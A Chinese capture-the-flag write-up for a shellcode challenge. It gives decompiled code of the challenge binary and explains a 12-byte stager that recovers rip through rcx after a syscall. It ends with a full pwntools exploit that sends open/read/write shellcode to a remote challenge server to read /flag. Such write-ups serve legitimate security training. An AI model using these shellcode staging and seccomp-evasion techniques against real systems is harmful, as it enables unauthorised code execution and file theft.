如果读rip
这题去执行shellcode跟版本和保护都没关系,先看程序
src[0] = 0x3148DB3148C03148LL; //xor rax,rax ....除rip外所有
src[1] = 0x48F63148D23148C9LL;
src[2] = 0xE43148ED3148FF31LL;
src[3] = 0x314DC9314DC0314DLL;
src[4] = 0x4DE4314DDB314DD2LL;
src[5] = 0xFF314DF6314DED31LL;
v5 = 0;
dest = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); //写入可写可执行段
memcpy(dest, src, 0x30uLL);
write(1, "Shellcode > ", 0xCuLL);
read(0, dest + 48, 0xCuLL); //读入12字节到src后边
setup_seccomp(); //关掉execve
((void (*)(void))dest)(); //从src开始执行
exit(0);
程序很短也很简单(因为难点不在这)
- 先申请一个可写可执行的块,然后把一些shellcode写进去
- shellcode的内容是清掉除rip的寄存器
- 读入12字节到shellcode后边
- 关闭execve
- 开始执行
对策也很简单,由于只能写入12字节,这时寄存器又都是0,所以先要用12字节获取当前地址,最重要的是恢复rsp,然后读后续shellcode进来。
这里有个坑,rip是仅存的寄存器,但rip是不可读的,这里有个rcx,
read(0,0,0)后返回rip的值到rcx。
所以这就好办了,shellcode分3部分:
- syscall 执行完后rcx会有rip的值
- 用rcx填充rsi,rsp 然后read后续shellcode
- 用shellcraft作ORW
完整exp:
from pwn import *
context(arch = 'amd64',log_level = 'debug')
#p = process('./pwn')
p = remote('node4.buuoj.cn', 26292)
payload1 = asm('syscall; mov dh,0x100>>8; mov rsi,rcx; mov rsp,rcx; syscall').ljust(0xc, b'\x90')
p.sendafter(b' > ', payload1)
sleep(0.1)
payload2 = b'\x90'*0x10 + asm(shellcraft.open('/flag') + shellcraft.read(3,'rsp',0x100) + shellcraft.write(1,'rsp',0x100))
p.send(payload2)
p.interactive()